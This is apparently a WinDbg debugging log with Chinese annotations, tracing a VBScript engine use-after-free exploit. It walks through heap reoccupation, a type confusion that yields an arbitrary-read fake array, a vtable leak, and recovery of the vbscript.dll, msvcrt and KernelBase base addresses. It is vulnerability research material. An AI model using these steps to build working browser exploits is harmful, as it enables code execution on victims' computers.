46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
0:013> sxe ld:Vbscript
0:013> g
ModLoad: 6d720000 6d78b000 C:\Windows\system32\vbscript.dll
eax=026197d0 ebx=00000000 ecx=0000003f edx=00000070 esi=7ffda000 edi=0261c3fc
eip=77c770b4 esp=0261c314 ebp=0261c368 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
77c770b4 c3 ret
0:005> bp vbscript!VbsIsEmpty
0:005> bl
0 e Disable Clear 6d73c206 0001 (0001) 0:**** vbscript!VbsIsEmpty

0:008> g
Breakpoint 0 hit
eax=68cb185c ebx=0257cd24 ecx=68d0a9d8 edx=0257cc9c esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257cbb8 ebp=0257cbc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi

//wild_ref_arr_a
0:005> dd poi(poi(poi(esp+c)+c)+c) //保存class_ter_a对象的数组wild_ref_arr_a(6
0044f178 00000009 005de638 01d49588 00000000
0044f188 68cb0009 01d4958c 01d49588 68cb4211
0044f198 68cb0009 01d4958c 01d49588 68cb4211
0044f1a8 68cb0009 01d4958c 01d49588 68cb4211
0044f1b8 68cb0009 01d4958c 01d49588 68cb4211
0044f1c8 68cb0009 01d4958c 01d49588 68cb4211
0044f1d8 68cb0009 01d4958c 01d49588 68cb4211
0044f1e8 4c725f53 00001810 003ad1f0 004010d8

0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257cd24 ecx=68d0a9d8 edx=0257cc9c esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257cbb8 ebp=0257cbc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi
0:005> dd poi(poi(esp+c)+8) l4 //占位的setprop_a_1对象
01d482f8 68cb0009 01d4958c 01d49588 68cb4211

0:005> dd 01d49588 //setprop_a_1对象内存结构
01d49588 68cb1748 00000002 01d4cae8 005dd0b0
01d49598 00000a58 00000000 00000000 00000000
01d495a8 00000000 00406fec 00000000 01d49550

0:005> dd poi(poi(01019cd0+8)+34) //CDISPIDTable Offset
01d4cb20 01d4eea4 01d4eed8 01d4ef18 00020000
01d4cb30 545a0903 0b000001 01742a01 00010000

0:005> du 01d4eea4
01d4eea4 "L].]ꀰǔ즔ɗ."//乱码??
0:005> du 01d4eea4+30
01d4eed4 "P"
0:005> du 01d4eed8 +30
01d4ef08 "SetProp"
0:005> du 01d4ef18 +30
01d4ef48 "mem"
0:005> dd 01d4ef18 l4 //setprop_a_1对象mem成员内存
01d4ef48 00000000 00000000 00000000 00000000

0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257cd24 ecx=68d0a9d8 edx=0257cc9c esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257cbb8 ebp=0257cbc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi
0:005> dd poi(poi(poi(esp+c)+c)+c) //保存class_ter_b对象的数组wild_ref_arr_b(6
00401060 68cb0009 01d4958c 01d495f8 68cb4211
00401070 68cb0009 01d495fc 01d495f8 68cb4211
00401080 68cb0009 01d495fc 01d495f8 68cb4211
00401090 68cb0009 01d495fc 01d495f8 68cb4211
004010a0 68cb0009 01d495fc 01d495f8 68cb4211
004010b0 68cb0009 01d495fc 01d495f8 68cb4211
004010c0 68cb0009 01d495fc 01d495f8 68cb4211
004010d0 4c725f53 00001810 0044f1f0 003ee2f0

0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257cd24 ecx=68d0a9d8 edx=0257cc9c esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257cbb8 ebp=0257cbc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi
0:005> dd poi(poi(esp+c)+8) l4 //占位的setprop_a_2对象
01d482f8 68cb0009 01d495fc 01d495f8 68cb4211
0:005> dd 01d495f8 //setprop_a_2对象内存结构
01d495f8 68cb1748 00000002 01d4cb78 005dd0b0
01d49608 00000a58 00000000 00000000 00000000
01d49618 00000000 00407024 00000000 01d49588

0:005> dd poi(poi(01d495f8+8)+34) //CDISPIDTable Offset
01d4cbb0 01d4efbc 01d4eff0 01d4f030 000003dc
01d4cbc0 00010002 0001583c 0b120300 01740a01
01d4cbd0 00020000 345a1303 0b000001 01742a01

0:005> du 01d4efbc
01d4efbc "L].]ꂀǔ즔ɗ."//乱码??
0:005> du 01d4efbc+30
01d4efec "P"
0:005> du 01d4eff0 +30
01d4f020 "SetProp"
0:005> du 01d4f030 +30
01d4f060 "mem"
0:005> dd 01d4f030
01d4f060 00000000 00000000 00000000 00000000//setprop_a_2对象mem成员内存


0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257c2e0 ecx=68d0a9d8 edx=0257c258 esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257c174 ebp=0257c184 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi
0:005> dd poi(poi(poi(esp+c)+c)+c) //释放wild_ref_arr_a数组,即释放前面占位的setprop_a_1对象
0044f178 02570002 0257c110 00000000 0000200c
0044f188 02570002 0257c110 00000000 0000200c
0044f198 02570002 0257c110 00000000 0000200c
0044f1a8 02570002 0257c110 00000000 0000200c
0044f1b8 02570002 0257c110 00000000 0000200c
0044f1c8 02570002 0257c110 00000000 0000200c
0044f1d8 02570002 0257c110 00000000 0000200c
0044f1e8 4c725f53 00001810 003ad1f0 004010d8

0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257c2e0 ecx=68d0a9d8 edx=0257c258 esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257c174 ebp=0257c184 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi
0:005> dd poi(poi(esp+c)+8) l4 //占位的class_fun_a对象
01d482b8 00000009 00000000 01d49588 00000020
0:005> dd poi(poi(01d49588+8)+34)
01d4cb20 01d4eea4 01d4eeec 01d4ef24 00020000
01d4cb30 545a0903 0b000001 01742a01 00010000

0:005> du 01d4eea4 +30
01d4eed4 "Read_Memory"//函数成员
0:005> du 01d4eeec +30
01d4ef1c "SPP"//函数成员
0:005> du 01d4ef24 +30
01d4ef54 "mem"//变量成员
0:005> dd 01d4ef24
01d4ef24 00000008 00000000 00443be4 00000020//class_fun_a.mem的内存VARIANT结构,注意该地址
01d4ef34 00000000 00000000 0000822f 00000006

0:005> dc 00443be4 l6
00443be4 08800001 00000001 00000000 00000000 ................//写入进来的字符串变量FAKESAFEARRAY
00443bf4 7fffffff 00000000

0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257c2e0 ecx=68d0a9d8 edx=0257c258 esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257c174 ebp=0257c184 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi
0:005> dd poi(poi(poi(esp+c)+c)+c)
0044f178 00000009 00000000 01d49588 00000020//用class_fun_a填充数组wild_ref_arr_a(6)
0044f188 00000009 00000000 01d49588 00000020
0044f198 00000009 00000000 01d49588 00000020
0044f1a8 00000009 00000000 01d49588 00000020
0044f1b8 00000009 00000000 01d49588 00000020
0044f1c8 00000009 00000000 01d49588 00000020
0044f1d8 00000009 00000000 01d49588 00000020
0044f1e8 4c725f53 00001810 003ad1f0 004010d8


0:005> g
Breakpoint 0 hit
eax=697b185c ebx=025cd044 ecx=6980a9d8 edx=025ccfbc esi=01ce1de0 edi=00000001
eip=697cc206 esp=025cced8 ebp=025ccee8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
697cc206 8bff mov edi,edi
0:005> dd poi(poi(esp+c)+8) //执行setprop_a_1.setprop(getp_b)之后的setprop_a_1
01d482f8 68cb0009 01d4958c 01d49588 68cb4211
01d48308 00000000 00000000 257d500f 0801802e

0:005> dd 01d4ef18 l4
01d4ef18 02570005 0257c110 00000000 0000200c //174088534690791e-324被写入原先的setprop_a_1.mem
01d4ef28 00000000 00443be4 00000020 00000000
0:005> dd poi(poi(01d49588 +8)+34) l8
01d4cb20 01d4eea4 01d4eeec 01d4ef24 00020000
01d4cb30 545a0903 0b000001 01742a01 00010000

0:005> dd 01d4ef24 l8 //当前setprop_a_1.mem、即class_fun_a.mem 数据类型"0008"经过错位修改为"200c"
01d4ef24 0000200c 00000000 00443be4 00000020
01d4ef34 00000000 00000000 0000822f 00000006

0:005> dd 00443be4 l6
00443be4 08800001 00000001 00000000 00000000 //setprop_a_1.mem指向的数组结构byte szBuff[80000000]
00443bf4 7fffffff 00000000

//上述实现任意地址读取的重点在于最后使用class_fun_a占位空间时,vbs引擎并未清理掉之前setprop_a_1的成员变量mem,
//而该变量地址刚好与class_fun_a.mem相差0xC(为什么???),以至于后续可以实现类型混淆构造出任意地址访问的数组结构。






0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257c2e0 ecx=68d0a9d8 edx=0257c258 esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257c174 ebp=0257c184 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi
dd poi(poi(poi(esp+c)+c)+c) //释放wild_ref_arr_b数组,即释放前面占位的setprop_a_2对象
0:005> dd poi(poi(poi(esp+c)+c)+c)
00401060 005d0002 0257c158 00000000 00000003
00401070 005d0002 0257c158 00000000 00000003
00401080 005d0002 0257c158 00000000 00000003
00401090 005d0002 0257c158 00000000 00000003
004010a0 005d0002 0257c158 00000000 00000003
004010b0 005d0002 0257c158 00000000 00000003
004010c0 005d0002 0257c158 00000000 00000003
004010d0 4c725f53 00001810 0044f1f0 003ee2f0

0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257c2e0 ecx=68d0a9d8 edx=0257c258 esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257c174 ebp=0257c184 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi

0:005> dd poi(poi(esp+c)+8) l4
01d482b8 00000009 00000000 01d495f8 00000020 //占位的class_fun_a对象
0:005> dd poi(poi(01d495f8 +8)+34)
01d4cbb0 01d4efbc 01d4f004 01d4f03c 000003dc
01d4cbc0 00010002 0001583c 0b120300 01740a01

0:005> du 01d4efbc +30
01d4efec "Read_Memory"
0:005> du 01d4f004 +30
01d4f034 "SPP"
0:005> du 01d4f03c +30
01d4f06c "mem"
0:005> dd 01d4f03c
01d4f03c 00000008 00000000 00443bbc 00000020 //class_fun_a.mem的内存VARIANT结构,注意该地址
01d4f04c 00000000 00000000 0000822f 00000006

0:005> dc 00443bbc l6
00443bbc 00000000 00000000 00000000 00000000 ................////写入进来的字符串变量fake_str
00443bcc 7f8e0000 952e5f0f ....._..


0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257c2e0 ecx=68d0a9d8 edx=0257c258 esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257c174 ebp=0257c184 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi

0:005> dd poi(poi(poi(esp+c)+c)+c)
00401060 00000009 00000000 01d495f8 00000020//用class_fun_a填充数组wild_ref_arr_b(6)
00401070 00000009 00000000 01d495f8 00000020
00401080 00000009 00000000 01d495f8 00000020
00401090 00000009 00000000 01d495f8 00000020
004010a0 00000009 00000000 01d495f8 00000020
004010b0 00000009 00000000 01d495f8 00000020
004010c0 00000009 00000000 01d495f8 00000020
004010d0 4c725f53 00001810 0044f1f0 003ee2f0

0:005> g
Breakpoint 0 hit
eax=68cb185c ebx=0257cd24 ecx=68d0a9d8 edx=0257cc9c esi=01d51bd0 edi=00000001
eip=68ccc206 esp=0257cbb8 ebp=0257cbc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
68ccc206 8bff mov edi,edi

0:005> dd poi(poi(esp+c)+8) //执行setprop_a_2.SetProp(getp_b)之后的setprop_a_2
01d482f8 68cb0009 01d495fc 01d495f8 68cb4211
01d48308 00000000 00000000 257d500f 0801802e

0:005> dd 01d4f030 l4
01d4f030 005d0005 0257c158 00000000 00000003 //636598737289582e-328被写入原先的setprop_a_2.mem

0:005> dd poi(poi(01d495f8+8)+34) l8
01d4cbb0 01d4efbc 01d4f004 01d4f03c 000003dc
01d4cbc0 00010002 0001583c 0b120300 01740a01
0:005> dd 01d4f03c l8 //当前setprop_a_2.mem、即class_fun_a.mem 数据类型"0008"经过错位修改为"0003"
01d4f03c 00000003 00000000 00443bbc 00000020
01d4f04c 00000000 00000000 0000822f 00000006
0:005> dd 00443bbc l6
00443bbc 00000000 00000000 00000000 00000000 //setprop_a_2.mem指向的数组结构byte szBuff[]
00443bcc 7f8e0000 952e5f0f

//上述实现任意地址读取的重点在于最后使用class_fun_a占位空间时,vbs引擎并未清理掉之前setprop_a_2的成员变量mem,
//而该变量地址刚好与class_fun_a.mem相差0xC(为什么???),以至于后续可以实现类型混淆构造出任意地址访问的数组结构。


vbscript!VbsIsEmpty:
68aec206 8bff mov edi,edi
0:005> dd poi(esp+c) //改变类型前的rw_var
0066e790 00000003 00000000 00499d9c 0000000

0:005> dd 00499d9c
00499d9c 00000000 00000000 00000000 00000000//rw_var数据
00499dac 00000000 00000000 00000000 2a298cb6
00499dbc 88000000 00000000 00000000 00000000

0:005> g
Breakpoint 0 hit
eax=6712185c ebx=024bcc74 ecx=6717a9d8 edx=024bcbec esi=01f9241c edi=00000001
eip=6713c206 esp=024bcb08 ebp=024bcb18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6713c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0066e760 00000001 000007ff 0066e908 02000002//a = EmptyFunc a = null //a的内存VARIANT结构
0:005> dd 0066e908
0066e908 671e4934 00000001 0066e1c8 01f21f58
0066e918 01f24754 00000000 0066e1c8 01f181f8
0066e928 101fd8ae 08000726 671e4934 00000002

0:005> dd poi(poi(esp+c)+8) //setprop_a_1 (修改前)
01f25328 671e0009 01f267ec 01f267e8 671e4211
01f25338 00000000 00000000 1c17d9ab 08020745

0:005> dd poi(poi(0062f9f0 +8)+34)
01f19d00 01f1c084 01f1c0cc 01f1c104 00000000
01f19d10 00000000 00000000 00000000 00000000



0:005> du 01f1c104+30 //setprop_a_1.mem.name
01f1c134 "mem"

0:005> dd 01f1c104 //setprop_a_1.mem
01f1c104 0000200c 00000000 00499d24 00000000
01f1c114 00000000 00000000 0000822f 00000006
01f1c124 00000000 00000000 00000003 000008ce

0:005> dd 00499d24
00499d24 08800001 00000001 00000000 00000000
00499d34 7fffffff 00000000 671e0000 2a298ca9
00499d44 88000000 00000016 006c0063 00730061

Breakpoint 0 hit
eax=672a185c ebx=027bcfd8 ecx=672fa9d8 edx=027bcf50 esi=01dd2494 edi=00000001
eip=672bc206 esp=027bce6c ebp=027bce7c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
672bc206 8bff mov edi,edi

0:005> dd poi(esp+c) //将a的数据写入rw_var所指内存
005be888 00000003 00050809 00186c6c 00000bd6
0:005> dd 00186c6c
00186c6c 00000000 00000000 00000001 00000080 //注意此时写入内存的a类型为01 即VT_NULL
00186c7c 005bea60 04000004 00200000 20634b05
00186c8c 88000077 0018a3e8 00000000 00000000

0:005> dd 005bea60
005bea60 672a4934 00000001 01dc8598 01dd1fd0 //可以看到此处数据与a的数据是相同的
005bea70 01dd477c 00000000 01dc8598 01dc81e0
005bea80 153644fd 0800c4f6 672a4934 00000002

0:005> g
Breakpoint 0 hit
eax=672a185c ebx=027bcfd8 ecx=672fa9d8 edx=027bcf50 esi=01dd2494 edi=00000001
eip=672bc206 esp=027bce6c ebp=027bce7c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
672bc206 8bff mov edi,edi

0:005> dd poi(esp+c) //执行完 setprop_a_1.mem(rw_var) = 3 后的rw_var所指内存
005be898 00000003 00050809 00186c6c 00000bd6
005be8a8 027b0000 005be8e8 027b0001 01dc8628

0:005> dd 00186c6c
00186c6c 00000002 77ba2dd6 01dd0003 00160548 //注意此时已经将rw_var所指内存中a的类型修改为03 即VT_I4(长整型(Long Interger))
00186c7c 005bea60 04000004 00200000 20634b05
00186c8c 88000077 00186d80 00000000 00000000

0:005> dd 005bea60
005bea60 672a4934 00000001 01dc8598 01dd1fd0 //a中数据
005bea70 01dd477c 00000000 01dc8598 01dc81e0
005bea80 153644fd 0800c4f6 672a4934 00000002

0:005> g
Breakpoint 0 hit
eax=672a185c ebx=027bcfd8 ecx=672fa9d8 edx=027bcf50 esi=01dd2494 edi=00000001
eip=672bc206 esp=027bce6c ebp=027bce7c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
672bc206 8bff mov edi,edi
0:005> dd poi(esp+c) //此时返回至指向的是rw_var+8处的内存
01fc7c40 01fb0003 006ac190 008be8b8 ba0000ba



0:005> g
Breakpoint 0 hit
eax=672a185c ebx=027bd460 ecx=672fa9d8 edx=027bd3d8 esi=01dd2494 edi=00000001
eip=672bc206 esp=027bd2f4 ebp=027bd304 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
672bc206 8bff mov edi,edi
0:005> dd poi(esp+c)
01fc7c40 01fb0003 006ac190 008be8b8 ba0000ba //同样的此时leakaddr指向的也是rw_var+8处的内存 (可理解为函数返回)

//看到熟悉的空壳函数赋值,那么便知道这里是获取CScriptEntryPoint的地址,关于获取的细节,后文会提到

0:005> g
Breakpoint 0 hit
eax=67c0185c ebx=0260cb54 ecx=67c5a9d8 edx=0260cacc esi=01fc4114 edi=00000001
eip=67c1c206 esp=0260c9e8 ebp=0260c9f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67c1c206 8bff mov edi,edi
0:005> dd poi(esp+c)
01fc7c00 01fb0003 006ac190 008be8b8 ba0000ba //进入GetUint32函数,看到参数即为我们的leakaddr

0:005> dd 008be8b8
008be8b8 67c04934 00000001 008be2e0 01fc3c40
008be8c8 01fc6df4 00000000 008be2e0 008bfd20
008be8d8 1e702d15 0800cdcc 67c04934 00000001

0:005> g
Breakpoint 0 hit
eax=67c0185c ebx=0260cb54 ecx=67c5a9d8 edx=0260cacc esi=01fc4114 edi=00000001
eip=67c1c206 esp=0260c9e8 ebp=0260c9f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67c1c206 8bff mov edi,edi
0:005> dd poi(esp+c)
01fc7c00 00000003 00000000 0069b754 00000000 //此时的rw_var结构

0:005> dd 0069b754
0069b754 00000002 77ba2dd6 01fb0003 006ac190 //rw_var真正数据
0069b764 008be8b8 ba0000ba 00000000 02c5d59e
0069b774 8800000a 00000000 00614640 00646cd8
0069b784 006ab098 00000000 00000000 00000000

0:005> g
Breakpoint 0 hit
eax=67c0185c ebx=0260cb54 ecx=67c5a9d8 edx=0260cacc esi=01fc4114 edi=00000001
eip=67c1c206 esp=0260c9e8 ebp=0260c9f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67c1c206 8bff mov edi,edi
0:005> dd poi(esp+c)
01fc7c00 00000003 00000000 0069b754 00000000 //修改了读取位置和 类型的rw_var为8 string
0:005> dd 0069b754
0069b754 01fb0002 006ac190 008b0008 ba0000ba
0069b764 008be8bc ba0000ba 00000000 02c5d59e
0069b774 8800000a 00000000 00614640 00646cd8

0:005> g
Breakpoint 0 hit
eax=67c0185c ebx=0260c67c ecx=67c5a9d8 edx=0260c5f4 esi=01fc4114 edi=00000001
eip=67c1c206 esp=0260c510 ebp=0260c520 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67c1c206 8bff mov edi,edi
0:005> dd poi(esp+c)
01fc7bb0 02600000 01fc7c30 01fb0003 006ac190 //Read_Memory 执行前的返回值
01fc7bc0 02600000 01fc7c30 01fb0003 006ac190
01fc7bd0 0260c7a4 01fc7bf0 008b0008 ba0000ba

//Read_Memory = LenB(mem(rw_var + 8))

0:005> g
Breakpoint 0 hit
eax=67c0185c ebx=0260cb54 ecx=67c5a9d8 edx=0260cacc esi=01fc4114 edi=00000001
eip=67c1c206 esp=0260c9e8 ebp=0260c9f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67c1c206 8bff mov edi,edi

0:005> dd poi(esp+c)
01fc7bb0 00000003 00000000 67c04934 00000000
0:005> dd 67c04934
67c04934 67c061bd 67c0494d 67c0ccc6 67c0663a
67c04944 67c04f20 90909090 0449ff90 0ddd840f
67c04954 90c30000 90909090 8b55ff8b ffff6aec
67c04964 15ff0875 67c01090 c25d5959 90900004

0:005> ln 67c04934 //可以看到,此时我们都出了CScriptEntryPoint的虚表地址
Browse module
Set bu breakpoint

(67c04934) vbscript!CScriptEntryPoint::`vftable' | (67c1ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>

0:005> g
Breakpoint 0 hit
eax=67c0185c ebx=0260cb54 ecx=67c5a9d8 edx=0260cacc esi=01fc4114 edi=00000001
eip=67c1c206 esp=0260c9e8 ebp=0260c9f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67c1c206 8bff mov edi,edi //rw_var
0:005> g
Breakpoint 0 hit
eax=67c0185c ebx=0260cb54 ecx=67c5a9d8 edx=0260cacc esi=01fc4114 edi=00000001
eip=67c1c206 esp=0260c9e8 ebp=0260c9f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67c1c206 8bff mov edi,edi
0:005> dd poi(esp+c)
01fc7c00 00000003 00000000 67c04934 00000000 //getUint32函数返回值为上面得到的虚表地址

//03 长整型(Long Interger)
0:005> g
Breakpoint 0 hit
eax=67c0185c ebx=0260c910 ecx=67c5a9d8 edx=0260c888 esi=01fc4114 edi=00000001
eip=67c1c206 esp=0260c7a4 ebp=0260c7b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67c1c206 8bff mov edi,edi
0:005> dd poi(esp+C)
0055e840 00000003 00000000 67c00000 00000000 //返回的得到的Vbscript模块基地址结构 同样为VARIANT结构
0055e850 024b0000 0055e940 00000000 00000004
0055e860 024bd28c 0055e940 0211efe0 0055fd90
0:005> db 67c00000
67c00000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
67c00010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
67c00020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
67c00030 00 00 00 00 00 00 00 00-00 00 00 00 f0 00 00 00 ................
67c00040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
67c00050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
67c00060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
67c00070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......

//看到MZ,确定,这就是模块基地址而我们的CScriptEntryPoint实在Vbscript.dll模块中,因此我们获得了后者的基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
0:005> g
Breakpoint 0 hit
eax=67f7185c ebx=025dcf18 ecx=67fca9d8 edx=025dce90 esi=01bc8908 edi=00000001
eip=67f8c206 esp=025dcdac ebp=025dcdbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67f8c206 8bff mov edi,edi
0:005> dd poi(esp+C)
01bce470 01bb0003 00000000 76e70000 00000000 //76e70000为msvcrt_mod_base
01bce480 025d0000 01bce570 00000000 00000000

0:005> db 76e70000
76e70000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
76e70010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
76e70020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
76e70030 00 00 00 00 00 00 00 00-00 00 00 00 e0 00 00 00 ................
76e70040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th


0:005> g
Breakpoint 0 hit
eax=680b185c ebx=0245d1c8 ecx=6810a9d8 edx=0245d140 esi=01bc87f8 edi=00000001
eip=680cc206 esp=0245d05c ebp=0245d06c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
680cc206 8bff mov edi,edi
0:005> dd poi(esp+c)
01bce320 00000003 00000000 75f20000 00000000 //75f20000为KernelBase.dll基地址
01bce330 02450000 01bce420 00000000 00000000

0:005> db 75f20000
75f20000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
75f20010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
75f20020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
75f20030 00 00 00 00 00 00 00 00-00 00 00 00 e0 00 00 00 ................
75f20040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
75f20050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno

0:005> g
Breakpoint 0 hit
eax=680b185c ebx=0245d1c8 ecx=6810a9d8 edx=0245d140 esi=01bc87f8 edi=00000001
eip=680cc206 esp=0245d05c ebp=0245d06c iopl=0 nv up ei pl zr na pe nc
